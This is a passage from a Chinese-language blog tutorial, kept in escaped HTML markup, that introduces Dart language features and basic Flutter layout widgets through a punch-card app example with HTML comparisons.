class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 另一个使用例子 (e) =\u0026gt; print(e))\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enums\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"类\"\u003e类\u003c/h4\u003e\n\u003cp\u003e这玩意东西太多了,我就光码字吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e类的成员默认都是公共成员,私有成员是在变量名前加 \u003ccode\u003e_\u003c/code\u003e号,有\u003ccode\u003e@protected\u003c/code\u003e宏。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDart 的类是单向继承,支持接口类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e支持 abstract 抽象类,也就是需要继承来实现的类\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"异步方法\"\u003e异步方法\u003c/h4\u003e\n\u003cp\u003e先来个定义\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e异步是在很多领域都有的概念,在编程中,是相对于同步的。同步就是一条指令一条指令,按顺序执行。异步则可以同时运行多个任务,执行任务的时候,可以先返回一个“包含进度的实例”。然后有“回调函数”来把该实例中执行的状态返回。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eDart 的异步叫 \u003ccode\u003eFuture\u0026lt;T\u0026gt;\u003c/code\u003e,其中 T 是泛型啦。当你运行异步方法的时候,他会先返回一个 Future 类,然后按需返回结果,或者处理结果。我们有两个方式处理异步编程:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eFutur\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e相当于下面这段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"空安全\"\u003e空安全\u003c/h4\u003e\n\u003cp\u003e在你们使用 C 语言变量的时候,经常出现变量尚未定义就被使用了。Dart 引入了空安全机制,来帮助避免这个现象,让代码更稳定。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 默认所有类型均不可空,类型加问号,表示该变量可空\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 如此写会报编译错误,语言会进行空检查的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 可以使用 late 表示稍后赋值,但你不能忘了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然还有很多,想知道的话请去看官方介绍。我当时看了俩下就上手了……\u003c/p\u003e\n\u003ch2 id=\"flutter-的基本部件介绍\"\u003eFlutter 的基本部件介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 的 Widget 是一个一个的类,描述了在当前的配置和状态下视图所应该呈现的样子。在 Flutter 里面,万物都是围绕部件旋转的。\u003c/p\u003e\n\u003cp\u003e接下来我要展示一个信息卡,用这个方式给大家展示 Flutter 的基本组件。顺便我搞点 HTML 之类的东西,来给大家做点对比。接下来的部件,都是按照 Material 部件来说明的,iOS 的不在此说明。\u003c/p\u003e\n\u003ch3 id=\"text-部件\"\u003eText 部件\u003c/h3\u003e\n\u003cp\u003eText 是用来渲染一段文字的。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Maggie Rules!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eMaggie Rules!\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eText 的属性有很多,比如说大小,斜体之类。有一个类叫 TextStyle,来给Text加属性,比如字体,阴影,颜色之类。那么,我可以这么写一个绿色的字。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;50 sucks\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003esize:\u003c/span\u003e\u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e\u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;color: green\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e 50 sucks \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我感觉通过这个,你们知道这玩意和 HTML+CSS 的对应了吧,也许。\u003c/p\u003e\n\u003ch3 id=\"rowcolumnwarp\"\u003eRow,Column,Warp\u003c/h3\u003e\n\u003cp\u003e你们可以看到,我在这些卡片上画了几条线。这是为了说明我们设计该卡片的基本架构,行和列。Flutter 的部件构造,就是在 Row 和 Column 之上的。\u003c/p\u003e\n\u003cp\u003eRow 和 Column 的写法差不多,都是这样的,更多属性一会再说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRow 代表行,Column 代表列。我们这个卡片是有三行的,每行是有对应元素的。通过这个,我们可以写出这个东西的框架了。\u003c/p\u003e\n\u003cp\u003e我们先实现每一行,第一行是在两侧的两个元素,注意到中间很大间隔了吗?这个是 Row 的一个属性,AxisAlignment。\u003c/p\u003e\n\u003cp\u003eAxisAlignment 是指这个部件两个轴上部件的排列方式,分为主轴 MainAxisAlignment 和交叉轴 CrossAxisAlignment。这张图片显示出这两个部件的主轴和交叉轴。我们通过修改这个,来规划好在该列/行上元素的排列方式。对于第一行,我们是这样写的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e//第一个Text\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e//第二个Text\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e剩下两行我这里就不赘述了,他们的排列方式都是靠左,也就是默认值。大致的代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;第1次\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epumch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;2022-12-12 11:11:11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以上部分是最基本设计Flutter布局的样例了。实际使用中,这样写的方式很死板,遇到一些动态变化的组件,比如说很多行的文字,Column高度侦测问题等等,会花费大量的时间设置这些东西的样式。所以,在实际PDA的编写中,我是使用了Warp来让其自动排列这些组件,你只是需要输入这些部件就好了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrapAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003espaceBetween\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eTagsBoxes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etext:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003emark\u003c/span\u003e\u003cspan class=\"s2\"\u003e 条\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebackgroundColor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eprimaryColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003esituation\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDivider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchDay\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchTime\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emachineName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror_outline\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereplaceAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan 